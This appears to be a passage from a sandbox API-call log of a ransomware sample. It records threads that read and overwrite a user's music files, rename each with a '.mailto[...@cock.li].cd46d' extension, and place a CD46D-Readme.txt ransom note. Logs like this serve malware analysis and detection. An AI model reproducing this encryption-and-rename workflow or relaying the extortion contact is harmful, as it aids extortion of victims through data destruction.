1 [0056.422] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19527880) returned 1 [0056.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4372b0) returned 1 [0056.423] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be50) returned 1 [0056.423] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ceb40 [0056.423] SetFilePointerEx (in: hFile=0xd4c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.423] WriteFile (in: hFile=0xd4c, lpBuffer=0x441888*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x1267fa24, lpOverlapped=0x0 | out: lpBuffer=0x441888*, lpNumberOfBytesWritten=0x1267fa24*=0x105, lpOverlapped=0x0) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441888) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb70) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429070) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb40) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290c0) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e94e0) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9580) returned 1 [0056.588] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95a8) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xbe) returned 0x12f4d5f0 [0056.588] wcscpy (in: _Dest=0x12f4d5f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3" [0056.588] wcscat (in: _Dest=0x12f4d5f0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0056.588] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1267f9dc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\XgPP97.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd4) returned 0x4d4540 [0056.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4540) returned 1 [0056.751] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d88f8) returned 1 [0056.751] NtQueryInformationFile (in: FileHandle=0xd4c, IoStatusBlock=0x1267f9e8, FileInformation=0x1267f9c0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1267f9e8, FileInformation=0x1267f9c0) returned 0x0 [0056.751] NtSetInformationFile (FileHandle=0xd4c, IoStatusBlock=0x1267f9e8, FileInformation=0x1267f9c0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.752] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d5f0) returned 1 [0056.752] FlushFileBuffers (hFile=0xd4c) returned 1 [0056.814] CloseHandle (hObject=0xd4c) returned 1 [0056.840] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4172c0 [0056.840] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.840] wcscat (in: _Dest=0x4172c0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.840] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0056.840] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07e18) returned 1 Thread: id = 776 os_tid = 0xf64 [0051.533] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\zb5r-jl.m4a")) returned 0x20 [0051.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a", dwFileAttributes=0x20) returned 1 [0052.630] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\zb5r-jl.m4a"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd50 [0052.630] GetFileSizeEx (in: hFile=0xd50, lpFileSize=0x133ffd7c | out: lpFileSize=0x133ffd7c*=39131) returned 1 [0052.630] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x98d7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.631] ReadFile (in: hFile=0xd50, lpBuffer=0x133ffd00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x133ffcfc, lpOverlapped=0x0 | out: lpBuffer=0x133ffd00*, lpNumberOfBytesRead=0x133ffcfc*=0x4, lpOverlapped=0x0) returned 1 [0052.631] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.631] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.631] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9558 [0052.631] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0052.631] NtQuerySystemTime (in: CurrentTime=0x133ffcdc | out: CurrentTime=0x133ffcdc*=132174898166112000) returned 0x0 [0052.631] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x45ebb748 [0052.631] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x6bb3f309 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x1b9a1d02 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x323788f2 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x71df2bff [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x7cc4880c [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x54412d44 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x5ae08a05 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x52e20a08 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x23cf1e35 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x1d353df7 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x743ffd9d [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x74bf8cc0 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x4443aa64 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0xe325761 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x23bc3151 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x18c86fde [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x6d58e912 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x6a87bd15 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x22729ddb [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x3c4083d5 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x2adf1f8 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0xc8ef52 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x75daf0 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x6e820285 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0xa6fa1a9 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x21b0c740 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x65a3ab38 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x302ea366 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x40e4e428 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x64e19100 [0052.632] RtlRandomEx (in: Seed=0x133ffce8 | out: Seed=0x133ffce8) returned 0x260b2bda [0052.645] ReadFile (in: hFile=0xd50, lpBuffer=0x19540890, nNumberOfBytesToRead=0x98db, lpNumberOfBytesRead=0x133ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x19540890*, lpNumberOfBytesRead=0x133ffcd8*=0x98db, lpOverlapped=0x0) returned 1 [0052.646] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.646] WriteFile (in: hFile=0xd50, lpBuffer=0x1954d098*, nNumberOfBytesToWrite=0x98db, lpNumberOfBytesWritten=0x133ffcd4, lpOverlapped=0x0 | out: lpBuffer=0x1954d098*, lpNumberOfBytesWritten=0x133ffcd4*=0x98db, lpOverlapped=0x0) returned 1 [0056.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429048 [0056.424] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297c8 [0056.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0056.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1954d098) returned 1 [0056.424] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19540890) returned 1 [0056.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437328) returned 1 [0056.432] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44be98) returned 1 [0056.432] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97ceba0 [0056.432] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.432] WriteFile (in: hFile=0xd50, lpBuffer=0x441998*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x133ffd3c, lpOverlapped=0x0 | out: lpBuffer=0x441998*, lpNumberOfBytesWritten=0x133ffd3c*=0x107, lpOverlapped=0x0) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x441998) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebd0) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297c8) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceba0) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429048) returned 1 [0056.589] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9558) returned 1 [0056.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95f8) returned 1 [0056.590] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9620) returned 1 [0056.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc0) returned 0x12f4d398 [0056.590] wcscpy (in: _Dest=0x12f4d398, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a" [0056.590] wcscat (in: _Dest=0x12f4d398, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a.mailto[2Hamlampampom@cock.li].cd46d" [0056.590] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x133ffcf4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\ZB5R-jL.m4a.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.590] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd6) returned 0x4d4620 [0056.754] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d4620) returned 1 [0056.754] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d8b20) returned 1 [0056.754] NtQueryInformationFile (in: FileHandle=0xd50, IoStatusBlock=0x133ffd00, FileInformation=0x133ffcd8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x133ffd00, FileInformation=0x133ffcd8) returned 0x0 [0056.754] NtSetInformationFile (FileHandle=0xd50, IoStatusBlock=0x133ffd00, FileInformation=0x133ffcd8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.755] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4d398) returned 1 [0056.755] FlushFileBuffers (hFile=0xd50) returned 1 [0056.814] CloseHandle (hObject=0xd50) returned 1 [0056.841] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x84) returned 0x4172c0 [0056.841] wcscpy (in: _Dest=0x4172c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\" [0056.841] wcscat (in: _Dest=0x4172c0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" [0056.841] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\cd46d-readme.txt")) returned 0x20 [0056.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4172c0) returned 1 [0056.841] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e07e98) returned 1 Thread: id = 777 os_tid = 0xf68 [0051.541] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\_07d2zfcwpn6r4.mp3")) returned 0x20 [0051.541] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3", dwFileAttributes=0x20) returned 1 [0052.647] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\_07d2zfcwpn6r4.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd54 [0052.647] GetFileSizeEx (in: hFile=0xd54, lpFileSize=0x1353fe24 | out: lpFileSize=0x1353fe24*=8188) returned 1 [0052.647] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x1ff8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.647] ReadFile (in: hFile=0xd54, lpBuffer=0x1353fda8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1353fda4, lpOverlapped=0x0 | out: lpBuffer=0x1353fda8*, lpNumberOfBytesRead=0x1353fda4*=0x4, lpOverlapped=0x0) returned 1 [0052.648] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9440 [0052.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95d0 [0052.648] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9648 [0052.648] NtQuerySystemTime (in: CurrentTime=0x1353fd84 | out: CurrentTime=0x1353fd84*=132174898166268000) returned 0x0 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x5eacca53 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x77b69ae3 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x22c45077 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x2802e7c3 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x558e7e1d [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x76b24185 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x73a11130 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x52b015f7 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x4be4325c [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x242e3f47 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x380018f7 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x3d527f0a [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x7d5b5ecc [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x1c364b5d [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x1e73b3d8 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x27a527bc [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x5dad9932 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x45aad911 [0052.648] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x4f3ce034 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x6823cdb5 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0xe339990 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x63830f22 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x59b719db [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x180ad716 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x6fe7f4ea [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x9bee5c7 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x72e75804 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x4426a1e0 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x6faa0bc5 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x6e89d1ad [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0xa19152 [0052.649] RtlRandomEx (in: Seed=0x1353fd90 | out: Seed=0x1353fd90) returned 0x1f4923df [0052.662] ReadFile (in: hFile=0xd54, lpBuffer=0x195598a0, nNumberOfBytesToRead=0x1ffc, lpNumberOfBytesRead=0x1353fd80, lpOverlapped=0x0 | out: lpBuffer=0x195598a0*, lpNumberOfBytesRead=0x1353fd80*=0x1ffc, lpOverlapped=0x0) returned 1 [0052.662] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0052.662] WriteFile (in: hFile=0xd54, lpBuffer=0x195660a8*, nNumberOfBytesToWrite=0x1ffc, lpNumberOfBytesWritten=0x1353fd7c, lpOverlapped=0x0 | out: lpBuffer=0x195660a8*, lpNumberOfBytesWritten=0x1353fd7c*=0x1ffc, lpOverlapped=0x0) returned 1 [0056.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0056.433] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429778 [0056.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429778) returned 1 [0056.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195660a8) returned 1 [0056.433] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x195598a0) returned 1 [0056.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4373a0) returned 1 [0056.454] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bee0) returned 1 [0056.454] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x40a428 [0056.454] SetFilePointerEx (in: hFile=0xd54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.454] WriteFile (in: hFile=0xd54, lpBuffer=0x5efe3a8*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0x1353fde4, lpOverlapped=0x0 | out: lpBuffer=0x5efe3a8*, lpNumberOfBytesWritten=0x1353fde4*=0x115, lpOverlapped=0x0) returned 1 [0056.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe3a8) returned 1 [0056.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a0e8) returned 1 [0056.793] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429778) returned 1 [0056.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40a428) returned 1 [0056.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0056.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95d0) returned 1 [0056.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9670) returned 1 [0056.794] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9698) returned 1 [0056.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40d970 [0056.794] wcscpy (in: _Dest=0x40d970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3" [0056.794] wcscat (in: _Dest=0x40d970, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3.mailto[2Hamlampampom@cock.li].cd46d" [0056.794] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x1353fd9c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\_07D2zfcwpN6R4.mp3.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0056.794] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe4) returned 0x4452d8 [0056.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4452d8) returned 1 [0056.795] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d06890) returned 1 [0056.795] NtQueryInformationFile (in: FileHandle=0xd54, IoStatusBlock=0x1353fda8, FileInformation=0x1353fd80, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1353fda8, FileInformation=0x1353fd80) returned 0x0 [0056.795] NtSetInformationFile (FileHandle=0xd54, IoStatusBlock=0x1353fda8, FileInformation=0x1353fd80, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.796] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d970) returned 1 [0056.796] FlushFileBuffers 